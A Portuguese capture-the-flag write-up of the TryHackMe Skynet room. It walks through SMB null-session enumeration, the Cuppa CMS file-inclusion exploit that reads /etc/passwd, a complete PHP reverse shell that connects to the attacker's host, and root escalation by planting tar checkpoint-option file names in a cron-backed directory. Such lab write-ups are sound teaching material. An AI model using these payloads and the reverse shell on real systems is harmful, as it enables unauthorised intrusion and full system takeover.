.d8888b. 8888888888 .d8888b. 888888888 .d8888b. d88P Y88b d88P d88P Y88b 888 d88P Y88b 888 888 d88P .d88P 888 888 888 888 888 888 888 d88P 8888" 8888888b. Y88b. d888 888 888 `Y8bd8P' 88888888 "Y8b. "Y88b "Y888P888 888 888 X88K d88P 888 888 888 888 Y88b d88P .d8""8b. d88P Y88b d88P Y88b d88P Y88b d88P "Y8888P" 8888 8888 d88P "Y8888P" "Y8888P" "Y8888P"

[ Autor: Nicholas Ferreira ]


[0x1] Skynet writeup - TryHackMe (em português)

04/06/2021



Neste texto eu apresentarei minha resolução para a sala Skynet do TryHackMe. O comprometimento da máquina envolve enumeração HTTP, exploração de SMB, exploração de LFI/RFI, escalação de privilégio via wildcard poisoning, entre outras coisas. Não foi necessário usar Metasploit nem outras ferramentas proibidas no exame da OSCP.

Enumeração

Ao iniciar a box, recebi o IP 10.10.127.208. Rodando o Nmap nele, foi possível descobrir algumas portas abertas:


>_
nich0las@0x7359:~$ sudo nmap -sSVC -v 10.10.127.208

Host is up (0.33s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
| 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Skynet
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES SASL TOP UIDL PIPELINING AUTH-RESP-CODE CAPA
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: ENABLE post-login OK ID LOGIN-REFERRALS more LITERAL+ IDLE have capabilities LOGINDISABLEDA0001 Pre-login listed SASL-IR IMAP4rev1
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
| nbstat: NetBIOS name: SKYNET, NetBIOS user: , NetBIOS MAC: (unknown)
| Names:
| SKYNET<00> Flags:
| SKYNET<03> Flags:
| SKYNET<20> Flags:
| \x01\x02__MSBROWSE__\x02<01> Flags:
| WORKGROUP<00> Flags:
| WORKGROUP<1d> Flags:
|_ WORKGROUP<1e> Flags:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: skynet
| NetBIOS computer name: SKYNET\x00
| Domain name: \x00
| FQDN: skynet
|_ System time: 2021-06-04T10:18:52-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-04T15:18:52
|_ start_date: N/A


Os switchs usados foram os seguintes:

A máquina possui, então, um servidor HTTP na porta 80; SSH na porta 22; POP3 e IMAP nas portas 110 e 143, respectivamente; e SMB nas portas 139 e 445.
Conforme o script do nmap mostra, o nome do computador é skynet, e há uma inconsistência quanto ao sistema operacional: tanto Windows quanto Linux foram identificados.

Acessando o webserver, a página que retorna é similar a um buscador, mas aparentemente os botões não fazem nada.

Página principal


Usei o Gobuster para fazer a enumeração de diretórios no webserver, e este foi o resultado:


>_
nich0las@0x7359:~$ gobuster dir -u http://10.10.127.208 -w /usr/share/dirb/wordlists/big.txt -t 30

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.127.208
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/admin (Status: 301) [Size: 314] [--> http://10.10.127.208/admin/]
/ai (Status: 301) [Size: 311] [--> http://10.10.127.208/ai/]
/config (Status: 301) [Size: 315] [--> http://10.10.127.208/config/]
/css (Status: 301) [Size: 312] [--> http://10.10.127.208/css/]
/js (Status: 301) [Size: 311] [--> http://10.10.127.208/js/]
/server-status (Status: 403) [Size: 278]
/squirrelmail (Status: 301) [Size: 321] [--> http://10.10.127.208/squirrelmail/]



A maioria dos diretórios retorna código 403, ou seja, não temos permissão para acessá-los. Porém, o banner do Apache revela que a máquina em questão se trata de um Linux Ubuntu, rodando Apache 2.4.18.

Banner Apache

Desconsiderando os diretórios que não temos permissão de entrar, o /squirrelmail é um que chamou bastante atenção:

Squirrelmail

Nele vemos que o webserver conta com a aplicação SquirrelMail 1.4.23. Trata-se da interface web do servidor de e-mail que encontramos com o Nmap. Pode ser um possível vetor de entrada por bruteforce, mas precisamos de mais informações, já que não temos nenhum nome de usuário ainda (apesar de "skynet" ser um bom candidato).

Explorando o SMB

Vamos dar início a exploração e verificar o que conseguimos com o SMB. Usando o SMBClient, podemos tentar um ataque de null session, ou seja, logarmos no servidor sem fornecer credenciais e vermos se há algum compartilhamento visível.


>_
nich0las@0x7359:~$ smbclient -L \\10.10.127.208 -U ""
Enter WORKGROUP\'s password:

  Sharename Type Comment
  
---- ----
--
  print$ Disk Printer Drivers
  anonymous Disk Skynet Anonymous Share
  milesdyson Disk Miles Dyson Personal Share
  IPC$ IPC IPC Service (skynet server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available


Como podemos ver, há alguns compartilhamentos ativos, e o que chama atenção é o "milesdyson". Contudo, ele não é acessível via null-session:


>_
nich0las@0x7359:~$ smbclient //10.10.127.208/milesdyson
Enter WORKGROUP\nich0las's password:
tree connect failed: NT_STATUS_ACCESS_DENIED


Há um compartilhamento anônimo com alguns arquivos interessantes dentro:


>_
nich0las@0x7359:~$ smbclient //10.10.127.208/anonymous Enter WORKGROUP\nich0las's password: Try "help" to get a list of possible commands. smb: \> ls
  .                                   D        0  Thu Nov 26 13:04:00 2020
.. D 0 Tue Sep 17 04:20:17 2019
attention.txt N 163 Wed Sep 18 00:04:59 2019
logs D 0 Wed Sep 18 01:42:16 2019
    9204224 blocks of size 1024. 5830700 blocks available
smb: \> get attention.txt
getting file \attention.txt of size 163 as attention.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> cd logs
smb: \logs\> ls
. D 0 Wed Sep 18 01:42:16 2019
.. D 0 Thu Nov 26 13:04:00 2020
log2.txt N 0 Wed Sep 18 01:42:13 2019
log1.txt N 471 Wed Sep 18 01:41:59 2019
log3.txt N 0 Wed Sep 18 01:42:16 2019

    9204224 blocks of size 1024. 5830568 blocks available
smb: \logs\> get log1.txt
getting file \logs\log1.txt of size 471 as log1.txt (0.3 KiloBytes/sec) (average 0.2 KiloBytes/sec)



Apenas os arquivos "attention.txt" e "log1.txt" têm conteúdo. Os outros arquivos de log estão vazios (tamanho 0 bytes).


>_
nich0las@0x7359:~$ cat attention.txt
A recent system malfunction has caused various passwords to be changed.
All skynet employees are required to change their password after seeing this.
-Miles Dyson



É dito que um problema no sistema fez com que várias senhas fossem alteradas, e foi pedido que todos os empregados da Skynet alterassem suas senhas. O arquivo log1.txt, por sua vez, contém várias strings relacionadas ao exterminador do futuro (que é o tema da sala), parecendo bastante uma wordlist.

Ao realizar o no webmail com o usuário milesdyson, obtido na enumeração SMB, e com as strings da wordlist, o login deu certo com uma delas:

Squirrelmail logado

Um dos e-mails recebidos tem o título de "Samba Password reset". Ao abri-lo, vemos que o email "skynet@skynet" foi quem enviou a mensagem, e nela há a suposta nova senha do SMB do usuário "milesdyson", alterada após o mal funcionamento do sistema, consistindo na primeira flag:

Reset senha SMB

As outras mensagens, ambas recebidas de serenakogan@skynet, possuem o mesmo conteúdo, porém, um deles está cifrado em código binário:

Bots em binário

Bots

No entanto, parece ser apenas um easter egg de uma curiosidade que ocorreu numa conversa entre duas inteligências artificiais. Nada interessante para nós.

Agora que temos o usuário e senha do SMB, podemos entrar no compartilhamento que não conseguimos antes através do null session:


>_
nich0las@0x7359:~$ smbclient //10.10.127.208/milesdyson -U "milesdyson" Enter WORKGROUP\milesdyson's password: Try "help" to get a list of possible commands. smb: \> ls

. D 0 Tue Sep 17 06:05:47 2019
.. D 0 Wed Sep 18 00:51:03 2019
Improving Deep Neural Networks.pdf N 5743095 Tue Sep 17 06:05:14 2019
Natural Language Processing-Building Sequence Models.pdf N 12927230 Tue Sep 17 06:05:14 2019
Convolutional Neural Networks-CNN.pdf N 19655446 Tue Sep 17 06:05:14 2019
notes D 0 Tue Sep 17 06:18:40 2019
Neural Networks and Deep Learning.pdf N 4304586 Tue Sep 17 06:05:14 2019
Structuring your Machine Learning Project.pdf N 3531427 Tue Sep 17 06:05:14 2019

    9204224 blocks of size 1024. 5829528 blocks available
smb: \> cd notes
smb: \notes\> ls
. D 0 Tue Sep 17 06:18:40 2019
.. D 0 Tue Sep 17 06:05:47 2019
3.01 Search.md N 65601 Tue Sep 17 06:01:29 2019
4.01 Agent-Based Models.md N 5683 Tue Sep 17 06:01:29 2019
2.08 In Practice.md N 7949 Tue Sep 17 06:01:29 2019
0.00 Cover.md N 3114 Tue Sep 17 06:01:29 2019
1.02 Linear Algebra.md N 70314 Tue Sep 17 06:01:29 2019
important.txt N 117 Tue Sep 17 06:18:39 2019
6.01 pandas.md N 9221 Tue Sep 17 06:01:29 2019
3.00 Artificial Intelligence.md N 33 Tue Sep 17 06:01:29 2019
2.01 Overview.md N 1165 Tue Sep 17 06:01:29 2019
3.02 Planning.md N 71657 Tue Sep 17 06:01:29 2019
1.04 Probability.md N 62712 Tue Sep 17 06:01:29 2019
2.06 Natural Language Processing.md N 82633 Tue Sep 17 06:01:29 2019
2.00 Machine Learning.md N 26 Tue Sep 17 06:01:29 2019
1.03 Calculus.md N 40779 Tue Sep 17 06:01:29 2019
3.03 Reinforcement Learning.md N 25119 Tue Sep 17 06:01:29 2019
1.08 Probabilistic Graphical Models.md N 81655 Tue Sep 17 06:01:29 2019
1.06 Bayesian Statistics.md N 39554 Tue Sep 17 06:01:29 2019
6.00 Appendices.md N 20 Tue Sep 17 06:01:29 2019
1.01 Functions.md N 7627 Tue Sep 17 06:01:29 2019
2.03 Neural Nets.md N 144726 Tue Sep 17 06:01:29 2019
2.04 Model Selection.md N 33383 Tue Sep 17 06:01:29 2019
2.02 Supervised Learning.md N 94287 Tue Sep 17 06:01:29 2019
4.00 Simulation.md N 20 Tue Sep 17 06:01:29 2019
3.05 In Practice.md N 1123 Tue Sep 17 06:01:29 2019
1.07 Graphs.md N 5110 Tue Sep 17 06:01:29 2019
2.07 Unsupervised Learning.md N 21579 Tue Sep 17 06:01:29 2019
2.05 Bayesian Learning.md N 39443 Tue Sep 17 06:01:29 2019
5.03 Anonymization.md N 2516 Tue Sep 17 06:01:29 2019
5.01 Process.md N 5788 Tue Sep 17 06:01:29 2019
1.09 Optimization.md N 25823 Tue Sep 17 06:01:29 2019
1.05 Statistics.md N 64291 Tue Sep 17 06:01:29 2019
5.02 Visualization.md N 940 Tue Sep 17 06:01:29 2019
5.00 In Practice.md N 21 Tue Sep 17 06:01:29 2019
4.02 Nonlinear Dynamics.md N 44601 Tue Sep 17 06:01:29 2019
1.10 Algorithms.md N 28790 Tue Sep 17 06:01:29 2019
3.04 Filtering.md N 13360 Tue Sep 17 06:01:29 2019
1.00 Foundations.md N 22 Tue Sep 17 06:01:29 2019

    9204224 blocks of size 1024. 5829528 blocks available
smb: \notes\> get important.txt
getting file \notes\important.txt of size 117 as important.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)



Como podemos ver, há vários arquivos PDF e uma pasta "notes". Entrando nela, há diversos arquivos markdown e um único arquivo txt chamado important.txt. Baixando-o e lendo seu conteúdo, temos o seguinte:


>_
nich0las@0x7359:~$ cat important.txt

1. Add features to beta CMS /...........
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife


No número 1, descobrimos um diretório secreto, que eu censurei com os pontos, e que consiste na segunda flag. Acessando-o, porém, vemos apenas uma homepage falando sobre Miles Dyson. Aparentemente, nada demais.

Miles Dyson

Rodando o Gobuster de novo, agora nesse diretório, encontramos o subdiretório /administrator, e de cara vemos que há instalada uma versão do CuppaCMS:

CuppaCMS

Explorando o LFI/RFI

Procurando no Searchsploit, que usa o banco de dados do exploit-db, vemos que há um exploit para LFI/RDI para o CuppaCMS:


>_
nich0las@0x7359:~$ searchsploit cuppa
__________________________________________________________________________________________________
Exploit Title | Path
__________________________________________________________________________________________________
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | php/webapps/25971.txt
__________________________________________________________________________________________________


Analisando o arquivo de texto referente ao exploit (com searchsploit -x php/webapps/25971.txt), vemos que o arquivo '/alerts/alertConfigField.php' possui na linha 22 o seguinte código:
<?php include($_REQUEST["urlConfig"]); ?>

Aqui vemos um erro bastante comum entre programadores e que acaba gerando boa parte das vulnerabilidades web: a falta de tratamento dos dados enviados pelo usuário para a aplicação. Neste caso, a página vai incluir nela própria qualquer que seja o conteúdo de $_REQUEST["urlConfig"]. O array $_REQUEST do PHP funciona como um alias tanto para $_COOKIE quanto para $_GET e $_POST. Ou seja, se fizermos a requisição
GET /alerts/alertConfigField.php?param1=test&param2=7359

O array $_REQUEST ficará com o seguinte conteúdo:
Array ( [param1] => test [param2] => 7359 )

Então, podemos forçar o parâmetro 'urlConfig' com o valor que quisermos e ele será incluído na página. Setando o urlConfig como /etc/passwd, a linha 22 executaria o seguinte comando
<?php include('/etc/passwd'); ?>

E é justamente o que vemos (os pontos substituem o diretório secreto):


>_
nich0las@0x7359:~$ curl http://10.10.127.208/.../administrator/alerts/alertConfigField.php?urlConfig=/etc/passwd
<script>
  function CloseDefaultAlert(){
    SetAlert(false, "", "#alert");
    setTimeout(function () {SetBlockade(false)}, 200);
  }
  function ShowAlert(){
    _width = '';
    _height = '';
    jQuery('#alert').animate({width:parseInt(_width), height:parseInt(_height), 'margin-left':-(parseInt(_width0.5)+20, 'margin-top':-(parseInt(_height)0.5)+20 }, 300, "easeInOutCirc", CompleteAnimation);
      function CompleteAnimation(){
        jQuery("#btnClose_alert").css('visibility', "visible");
        jQuery("#description_alert").css('visibility', "visible");
        jQuery("#content_alert").css('visibility', "visible");
      }
  }
</script>
<div class="alert_config_field" id="alert" style="z-index:;">
<div class="btnClose_alert" id="btnClose_alert" onclick="javascript:CloseDefaultAlert();"></div>
  <div class="description_alert" id="description_alert"><b>Field configuration: </b></div>
<div class="separator" style="margin-bottom:15px;"></div>
<div id="content_alert" class="content_alert">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
milesdyson:x:1001:1001:,,,:/home/milesdyson:/bin/bash
dovecot:x:111:119:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:112:120:Dovecot login user,,,:/nonexistent:/bin/false
postfix:x:113:121::/var/spool/postfix:/bin/false
mysql:x:114:123:MySQL Server,,,:/nonexistent:/bin/false
</div>
</div>


Como podemos incluir arquivos locais da máquina na página, este se trata de um caso de Local File Inclusion (LFI). Porém, conforme a documentação da função include, podemos passar um parâmetro remoto de modo que seu conteúdo seja incluído na página. Se o conteúdo do arquivo remoto for um código PHP, ele será incorporado na própria página e executado. Para fins de teste, podemos criar um arquivo txt e incluir nele o código
<?php echo base64_encode('7359'); ?>

Para torná-lo visível à máquina alvo, podemos subir um servidor HTTP usando o python ou o próprio PHP, executando o seguinte comando na mesma pasta que o arquivo criado:


>_
nich0las@0x7359:~$ ls -l test.txt
-rw-r--r-- 1 nich0las nich0las 36 Jun 4 22:43 test.txt
nich0las@0x7359:~$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

Em outro terminal:


>_
nich0las@0x7359:~$ curl http://10.10.127.208/.../administrator/alerts/alertConfigField.php?urlConfig=10.10.73.59:8081/test.txt
<script> ....
NzM1OQ==

Como vemos, o código PHP na nossa máquina foi executado na máquina remota, e o resultado foi retornado pelo curl, o que configura a falha de Remote File Inclusion (RFI).

Configurei a seguinte shell reversa no mesmo diretório:
<?php
set_time_limit (0);
$ip = "10.10.73.59";
$port = 7359;
$chunk_size = 1400;
$shell = 'uname -a; id; /bin/bash';
$null = null;

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

$descriptorspec = array(
  0 => array("pipe", "r"),
  1 => array("pipe", "w"),
  2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

while(1){
  if($input == "sysinfo".PHP_EOL){
    $host  = proc_open($shell, $descriptorspec, $pipes);
    fwrite($sock, "Hostname: ".fread($pipes[0],$chunk_size));
    continue;
  }
  $read_a = array($sock, $pipes[1], $pipes[2]);
  $num_changed_sockets = stream_select($read_a, $null, $null, null);

  if(in_array($sock, $read_a)){
    $input = fread($sock, $chunk_size);
    fwrite($pipes[0], $input);
  }
  if(in_array($pipes[1], $read_a)){
    $input = fread($pipes[1], $chunk_size);
    fwrite($sock, $input);
  }
  if(in_array($pipes[2], $read_a)){
    $input = fread($pipes[2], $chunk_size);
    fwrite($sock, $input);
  }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
?>

Antes de incluí-la na página, precisamos deixar a porta 7359 ouvindo, já que é esta porta que foi configurada na shell reversa. Os switchs usados no netcat abaixo foram os seguintes:

Após configurado o listener, podemos executar a shell reversa através do curl, como feito anteriormente, ou navegando na página através do navegador.


>_
nich0las@0x7359:~$ curl http://10.10.127.208/.../administrator/alerts/alertConfigField.php?urlConfig=10.10.73.59:8081/sh.php



>_
nich0las@0x7359:~$ nc -lvkp 7359
Listening on 0.0.0.0 7359
Connection received on 10.10.127.208 42020
Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)


Tendo obtido acesso remoto à máquina, vamos melhorar a shell para que ela seja interativa. Já que o python está instalado, esta é a maneira mais simples e confiável:


>_
nich0las@0x7359:~$ nc -lvkp 7359
Listening on 0.0.0.0 7359
Connection received on 10.10.127.208 42020
Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c "import pty;pty.spawn('/bin/bash')"
www-data@skynet:/var/www/html/.../administrator/alerts$

Precisamos obter a flag do usuário. Como vimos anteriormente no /etc/passwd, o usuário milesdyson existe na máquina, e em sua home podemos encontrar a flag.


>_
www-data@skynet:/home/milesdyson$ ls -l
total 36
drwxr-xr-x 2 root root 4096 Sep 17 2019 backups
drwx
- 3 milesdyson milesdyson 4096 Sep 17 2019 mail
drwxr-xr-x 3 milesdyson milesdyson 4096 Sep 17 2019 share
-rw-r--r-- 1 milesdyson milesdyson 33 Sep 17 2019 user.txt


Explorando crontab e infecção de wildcards

O diretório de backups, que é de propriedade do root, chamou bastante atenção. Entrando nele, encontramos alguns arquivos interessantes, também de propriedade do root:


>_
www-data@skynet:/home/milesdyson/backups$ ls -l
-rwxr-xr-x 1 root root 74 Sep 17 2019 backup.sh
-rw-r--r-- 1 root root 4679680 Jun 4 10:56 backup.tgz

www-data@skynet:/home/milesdyson/backups$ cat backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *


Coincidentemente ou não, este arquivo é executado a cada minuto como root, conforme o crontab evidencia:


>_
www-data@skynet:/home/milesdyson/backups$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/1 *  * * * root  /home/milesdyson/backups/backup.sh
17 *  * * *  root cd / && run-parts --report /etc/cron.hourly
25 6  * * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6  * * 7  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )


O arquivo backup.sh, como o nome sugere, faz o backup de todo o conteúdo da pasta do webserver e salva como tgz na pasta atual. Para selecionar todos os arquivos, o script usa o wildcard * (asterisco).

Wildcards são conjuntos de caracteres coringas que servem para se referir a outros conjuntos de caracteres. No caso do asterisco, ele corresponde a qualquer caractere, repetido qualquer número de vezes. Por exemplo, "ls -l *.txt" retorna todos os arquivos diretório atual cuja extensão é .txt. "ls -l log*" retorna todos os arquivos que começam com "log".

Se usarmos "zip arquivo.zip *", cada arquivo do diretório atual será individualmente incluído no arquivo "arquivo.zip", como efeito do wildcard "*". Se criarmos um arquivo chamado "--license" no diretório atual e rodarmos "zip *", o resultado será o mesmo que se rodássemos "zip --license". Ou seja, usando wildcards nós podemos inserir parâmetros nos executáveis por meio da manipulação do nome dos arquivos.

Podemos tomar proveito disso no caso atual, já que o executável "tar" é executado por um arquivo que roda como root, e o wildcard "*" é usado nele.

Conforme podemos ver no manual do tar, há uma opção que nos permite executar comandos externos:



>_
nich0las@0x7359:~$ man tar
...
...
 Informative output
  --checkpoint[=N]
    Display progress messages every Nth record (default 10).

  --checkpoint-action=ACTION
    Run ACTION on each checkpoint.


Segundo a documentação do tar: "A checkpoint is a moment of time before writing nth record to the archive (a write checkpoint), or before reading nth record from the archive (a read checkpoint). Checkpoints allow to periodically execute arbitrary actions."

Então, podemos forçar o tar a executar alguma coisa a cada checkpoint, e podemos limitar os checkpoints a apenas um, para que essa coisa seja executada uma única vez.

Para isso, fiz o upload da shell reversa que usamos para fazer a conexão como servidor, modifiquei-a para que ela se conectasse a meu PC através de outra porta e a deixei na pasta /var/www/html/, com o nome sh.php.

Agora, precisamos criar um arquivo com o nome "--checkpoint-action=php sh.php" e outro com o nome "--checkpoint=1" na pasta onde o tar é rodado. No caso, como vimos no arquivo backup.sh, o tar é rodado no diretório /var/www/html. Então, é lá que criaremos estes arquivos:


>_
www-data@skynet:/var/www/html$ echo "" > "--checkpoint-action=php sh.php"
www-data@skynet:/var/www/html$ echo "" > "--checkpoint=1"

www-data@skynet:/var/www/html$ ls -l
total 76
-rw-rw-rw- 1 www-data www-data 1 Jun 5 01:02 --checkpoint-action=php sh.php
-rw-rw-rw- 1 www-data www-data 1 Jun 5 01:03 --checkpoint=1
drwxr-xr-x 2 www-data www-data 4096 Sep 17 2019 admin
drwxr-xr-x 3 www-data www-data 4096 Sep 17 2019 ai
drwxr-xr-x 2 www-data www-data 4096 Sep 17 2019 config
drwxr-xr-x 2 www-data www-data 4096 Sep 17 2019 css
-rw-r--r-- 1 www-data www-data 25015 Sep 17 2019 image.png
-rw-r--r-- 1 www-data www-data 523 Sep 17 2019 index.html
drwxr-xr-x 2 www-data www-data 4096 Sep 17 2019 js
-rw-r--r-- 1 www-data www-data 1332 Jun 4 13:01 sh.php
-rw-r--r-- 1 www-data www-data 2667 Sep 17 2019 style.css


A infecção do wildcard funciona neste caso porque o nome do arquivo "--checkpoint-action=php sh.php" não é interpretado como uma mera string, mas sim interpretado como um parâmetro que foi passado para o tar.

Feito isso, só precisamos deixar o netcat ouvindo na porta que configuramos no sh.php para receber a nova conexão reversa. Dessa vez, como o arquivo backup.zip é executado periodicamente como root pelo crontab, todo o código é rodado como root. Então, o tar também é executado como root e, por consequência, o sh.php também. A nova shell reversa que recebemos roda como root, o que nos dá a permissão de obter a última flag.


>_
nich0las@0x7359:~$ nc -lnvp 3759
Listening on 0.0.0.0 3759
Connection received on 10.10.127.208 45534
Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
python -c "import pty;pty.spawn('/bin/bash')"
root@skynet:/var/www/html# cd /root
root@skynet:~# ls -l
-rw-r--r-- 1 root root 33 Sep 17 2019 root.txt



Por Nicholas Ferreira =)